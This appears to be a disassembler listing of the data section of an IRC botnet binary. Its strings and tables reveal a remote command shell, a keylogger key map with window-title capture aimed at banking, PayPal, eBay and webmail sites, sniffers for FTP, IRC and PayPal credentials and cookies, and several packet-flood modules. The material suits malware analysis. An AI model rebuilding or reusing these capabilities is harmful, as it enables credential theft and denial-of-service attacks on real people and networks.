unk_43555C db 2Dh ; - ; DATA XREF: sub_4116D6+59o
; sub_4116D6+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4355A4 db 2Dh ; - ; DATA XREF: sub_411827+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4355CC db 2Dh ; - ; DATA XREF: sub_411827+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_43560C db 2Dh ; - ; DATA XREF: sub_411827+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43564C db 2Dh ; - ; DATA XREF: sub_411920+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_411920+8Co
align 4
unk_43568C db 2Dh ; - ; DATA XREF: sub_4119F9+A1o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aSessionreadshe db '- SessionReadShellThread exited, error: <%ld>.',0
dword_4356C8 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+1B2o
aFailedToSta_38 db '- Failed to start server on Port %d.',0
align 4
dword_4356FC dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+18Fo
aFailedToSta_39 db '- Failed to start client thread, error: <%d>.',0
align 4
dword_435738 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411BCE+114o
aClientConnec_3 db '- Client connection from IP: %s:%d, Server thread: %d.',0
align 4
dword_43577C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+1F9o
aErrorFailedToC db '- Error: Failed to connect to target, returned: <%d>.',0
align 10h
dword_4357C0 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+18Ao
aErrorFailedToO db '- Error: Failed to open socket(), returned: <%d>.',0
align 10h
dword_435800 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_411DD3+F2o
aAuthentication db '- Authentication failed. Remote userid: %s != %s.',0
align 10h
dword_435840 dd 4000500h, 7868746Bh, 2 dup(0) ; DATA XREF: sub_412197+404o
dword_435850 dd 6F672D65h, 646Ch, 1Eh dup(0) ; DATA XREF: sub_4125FC+13o
dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail db 'Hotmail',0
dd 1Eh dup(0)
aWindowsLiveMes db 'Windows Live Messenger',0
align 4
dd 1Ah dup(0)
aPaypal_1 db 'PayPal',0
align 4
dd 1Eh dup(0)
aStormpay db 'StormPay',0
align 4
dd 1Dh dup(0)
aStormpay_comAc db 'StormPay.com, Accept Online Payments',0
align 4
dd 16h dup(0)
aWorldpay db 'WorldPay',0
align 4
dd 1Dh dup(0)
dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog db 'Terra - Fotolog',0
dd 1Ch dup(0)
dd 6F686159h, 216Fh, 1Eh dup(0)
dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma db 'Bienvenido a Gmail',0
align 4
dd 1Bh dup(0)
aWelcomeToGmail db 'Welcome to Gmail',0
align 4
dd 1Bh dup(0)
aDomainNameRegi db 'Domain Name Registration',0
align 4
dd 19h dup(0)
dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin db 'My Account Login',0
align 4
dd 1Bh dup(0)
aMercadolivreBr db 'MercadoLivre Brasil',0
dd 1Bh dup(0)
aWellsFargoHome db 'Wells Fargo Home Page',0
align 4
dd 1Ah dup(0)
aRyan1918DontNe db 'Ryan1918 Dont NET :: Log in',0
dd 19h dup(0)
aEbay db 'eBay',0
align 4
dd 1Eh dup(0)
aEbayNewUsedEle db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
db 'ing goods & more at low prices',0
dd 8 dup(0)
db 49h ; I
db 6Eh, 69h, 63h
db 69h ; i
db 61h, 72h, 20h
db 73h ; s
db 65h, 73h, 69h
db 0F3h ; ó
aNebayNewUsedEl db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
db 'ting goods & more at low prices',0
align 10h
dd 4 dup(0)
dword_436450 dd 8 ; DATA XREF: sub_4125FC+65o
dword_436454 dd 62h, 62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 41000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_436B84 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_436BBC dd 28207325h, 297325h ; DATA XREF: sub_4125FC+31o
; sub_41AF8F+EBo
a__S_l_ReturnS db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
align 4
a__S_l_Return db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
align 10h
a__S_l_Buffer_0 db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
align 4
a__S_l_ChangedW db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
align 4
a__S_l_ db '.».%s.«.',0 ; DATA XREF: sub_4126A7+B9o
; sub_4126A7+145o ...
align 10h
off_436C50 dd offset dword_4374C8 ; DATA XREF: sub_412B61+2B9r
dd offset off_4374C4
dd offset aFtp ; "FTP"
dd offset aHttp_0 ; "HTTP"
dword_436C60 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_412B61+1DEo
dword_436C74 dd 0 ; DATA XREF: sub_412B61+2B2r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: .packed:00436C5Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: .packed:00436C58o
off_4374C4 dd offset aFailedToSta_36+1Dh ; DATA XREF: .packed:00436C54o
dword_4374C8 dd 544F42h ; DATA XREF: .packed:off_436C50o
dword_4374CC dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+317o
aRecvFailedRetu db '- recv() failed, returned %d',0
align 4
dword_4374F8 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+2C6o
aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0
dword_43752C dd 234032Dh, 696E7370h, 3026666h, 2Dh ; DATA XREF: sub_412B61+24Co
dword_43753C dd 4E53505Bh, 5D464649h, 0 ; DATA XREF: sub_412B61+235o
dword_437548 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+186o
aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0
align 4
dword_437578 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+103o
aBindFailedRetu db '- bind() failed, returned %d',0
align 4
dword_4375A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_412B61+85o
aSocketFailedRe db '- socket() failed, returned %d',0
align 10h
aHashin db ':!hashin',0 ; DATA XREF: sub_412EEC+103o
align 4
a_hashin db ':.hashin',0 ; DATA XREF: sub_412EEC+EEo
align 4
aIdent_0 db ':!ident',0 ; DATA XREF: sub_412EEC+D9o
a_ident db ':.ident',0 ; DATA XREF: sub_412EEC+C8o
a_login db ':.Login',0 ; DATA XREF: sub_412EEC+B7o
aLogin_0 db ':!Login',0 ; DATA XREF: sub_412EEC+A6o
aLogin_1 db ':!login',0 ; DATA XREF: sub_412EEC+95o
a_login_0 db ':.login',0 ; DATA XREF: sub_412EEC+84o
a366 db '366 ',0 ; DATA XREF: sub_412EEC+73o
align 10h
a302_0 db '302 ',0 ; DATA XREF: sub_412EEC:loc_412F4Eo
align 4
aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412EEC+4Do
align 10h
aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412EEC+3Co
align 4
aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412EEC+2Bo
align 4
aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412EEC+5o
align 4
aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper db 'oper ',0 ; DATA XREF: sub_413003+51o
align 4
aNick_1 db 'NICK ',0 ; DATA XREF: sub_413003:loc_413043o
; sub_413079+2Bo
align 10h
aOper_0 db 'OPER ',0 ; DATA XREF: sub_413003+2Bo
align 4
aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_413003+5o
align 4
aPass_1 db 'PASS ',0 ; DATA XREF: sub_413079+73o
align 4
aUser_3 db 'USER ',0 ; DATA XREF: sub_413079+62o
align 4
a230 db '230 ',0 ; DATA XREF: sub_413079:loc_4130CAo
align 4
a220 db '220 ',0 ; DATA XREF: sub_413079+3Co
align 4
aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_413079+5o
align 10h
aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_413100+73o
aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_413100+62o
align 4
aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_413100+51o
align 4
aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_413100:loc_413140o
align 4
aPaypal db 'paypal',0 ; DATA XREF: sub_413100+2Bo
align 4
aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_413100+5o
align 10h
aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_413187+51o
align 4
aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_413187:loc_4131C7o
align 10h
aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_413187+2Bo
align 10h
aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_413187+5o
align 4
unk_43773C db 2Dh ; - ; DATA XREF: sub_4131EC+3ECo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_437774 db 2Dh ; - ; DATA XREF: sub_4131EC+382o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
align 4
unk_4377AC db 2Dh ; - ; DATA XREF: sub_4131EC+351o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4377E0 db 2Dh ; - ; DATA XREF: sub_4131EC+31Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437814 db 2Dh ; - ; DATA XREF: sub_4131EC+2E2o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437848 db 2Dh ; - ; DATA XREF: sub_4131EC+14Bo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0
align 4
unk_437878 db 2Dh ; - ; DATA XREF: sub_4131EC+C5o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aBindFailedRe_0 db '- bind() failed, returned %d',0
align 4
unk_4378A4 db 2Dh ; - ; DATA XREF: sub_4135DF+5Eo
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aDoneWithFloodA db 'done with flood at %iKB/sec',0
dword_4378CC dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h
; DATA XREF: sub_413694+302o
dd 203A726Fh, 6425h
unk_4378E8 db 2Dh ; - ; DATA XREF: sub_413A29+397o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0
align 4
unk_437934 db 2Dh ; - ; DATA XREF: sub_413A29+307o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0
align 4
unk_43797C db 2Dh ; - ; DATA XREF: sub_413A29+12Ao
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidTargetI db 'invalid target ip',0
align 4
unk_43799C db 2Dh ; - ; DATA XREF: sub_413A29+C2o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSetsockoptFail db 'setsockopt() failed, returned %d',0
align 4
unk_4379CC db 2Dh ; - ; DATA XREF: sub_413A29+49o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aSocketFailed_0 db 'socket() failed, returned %d',0
align 4
unk_4379F8 db 2Dh ; - ; DATA XREF: sub_413E10+13Co
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFinishedSendin db 'finished sending pings to %s',0
align 4
unk_437A24 db 2Dh ; - ; DATA XREF: sub_413E10+6Eo
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aErrorSendingPi db 'error sending pings to %s',0
align 4
unk_437A4C db 2Dh ; - ; DATA XREF: sub_413F9C+1C6o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFinishedSend_0 db '- finished sending packets to %s',0
align 4
unk_437A78 db 2Dh ; - ; DATA XREF: sub_413F9C+8Eo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aErrorSending_0 db '- error sending packets to %s',0
align 10h
dword_437AA0 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_4141B2+4Bo
aDoneWithFloodI db '- Done with flood (%iKB/sec)',0
align 4
unk_437ACC db 2Dh ; - ; DATA XREF: sub_414358+4Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0
align 4
unk_437AF4 db 2Dh ; - ; DATA XREF: sub_4143F7+27Do
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aSendErrorD_ db '- Send error: <%d>.',0
align 4
dword_437B14 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_414703+4Fo
aDoneWithFlood_ db '- Done with flood.',0
align 4
unk_437B34 db 2Dh ; - ; DATA XREF: sub_4149C1+4EBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
unk_437B84 db 2Dh ; - ; DATA XREF: sub_4149C1+44Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
unk_437BD4 db 2Dh ; - ; DATA XREF: sub_4149C1+15Fo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidTarge_0 db '- Invalid target IP.',0
align 4
unk_437BF4 db 2Dh ; - ; DATA XREF: sub_4149C1+EEo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0
align 4
unk_437C2C db 2Dh ; - ; DATA XREF: sub_4149C1+70o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0
align 10h
unk_437C60 db 2Dh ; - ; DATA XREF: sub_414F57+66o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aDoneWithFloodD db '- Done with flood, %d packets sent.',0
align 4
unk_437C94 db 2Dh ; - ; DATA XREF: sub_41525A+4Do
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0
align 4
unk_437CD4 db 2Dh ; - ; DATA XREF: sub_4152D1+345o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError('
db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0
unk_437D60 db 2Dh ; - ; DATA XREF: sub_4152D1+2F3o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat'
db 'a sent (~%dK/s).',0
align 4
unk_437DC4 db 2Dh ; - ; DATA XREF: sub_4152D1+CCo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aSendingPackets db '- Sending packets to %s...',0
unk_437DF0 db 2Dh ; - ; DATA XREF: sub_4152D1+80o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0
unk_437E34 db 2Dh ; - ; DATA XREF: sub_4152D1+63o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0
align 4
unk_437E84 db 2Dh ; - ; DATA XREF: sub_4152D1+2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aErrorCallingSo db '- Error calling socket().',0
align 10h
unk_437EB0 db 2Dh ; - ; DATA XREF: sub_41561D+60o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aDoneWithFloodP db 'Done with flood, ports hit: %s',0
align 4
aSD db '%s%d ',0 ; DATA XREF: sub_4157BA+204o
align 4
dword_437EE4 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o
dword_437EF8 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o
align 10h
dword_437F30 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
; DATA XREF: sub_415DD8:loc_415E0Do
